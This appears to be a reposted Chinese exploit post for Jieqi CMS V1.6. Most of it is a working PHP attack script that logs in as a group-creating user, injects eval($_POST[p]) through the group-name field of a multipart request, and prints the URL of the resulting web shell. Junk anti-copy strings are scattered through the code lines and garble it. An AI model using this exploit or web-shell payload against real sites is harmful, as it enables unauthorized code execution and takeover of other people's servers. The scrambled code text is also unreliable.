Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
: C8 z0 ]+ Z/ i" `; |7 d 需要有一个能创建圈子的用户。
9 y2 H* t4 Q1 ~- s- n2 E' H
3 }: q2 P5 y1 U2 M2 s3 t: @- A7 y0 R<?php

! O5 }# d8 O4 K1 I6 F5 }0 W; Nprint_r('
8 F6 z+ u$ r- z  ?+---------------------------------------------------------------------------+
- S7 _+ |/ s( Q) jJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
" t6 }! q1 H9 J& t% ~" i  [8 \mail: phpsec at hotmail dot com
$ }; X% U4 f: ^! cteam: http://www.wolvez.org
+---------------------------------------------------------------------------+
0 G; X5 t2 r1 a3 C+ g* C* v'); /**
" z' A4 X) M9 `# @9 N * works regardless of php.ini settings
0 `) |+ ]( h9 W) }*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
# @( \; X# \- ?" EUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
5 b+ d$ F( n& P9 [path:      path to jieqicms
uasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
2 |2 H/ Q1 T6 x  A4 C6 l'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

# r* ]/ [' q9 c- u'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
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1
3 R2 g6 e3 L7 r-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

" L0 q7 E; f% P/ l" E& J5 v* e1
- p' D$ I3 @, H1 ^  w' M-----------------------------23281168279961
) ]( T$ Y/ L/ S  R( r6 qContent-Disposition: form-data; name="gbrief"

% p, z( X" N9 Q5 ]% W7 _1
-----------------------------23281168279961--
: o9 V2 b4 @& ]8 E9 s% S'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;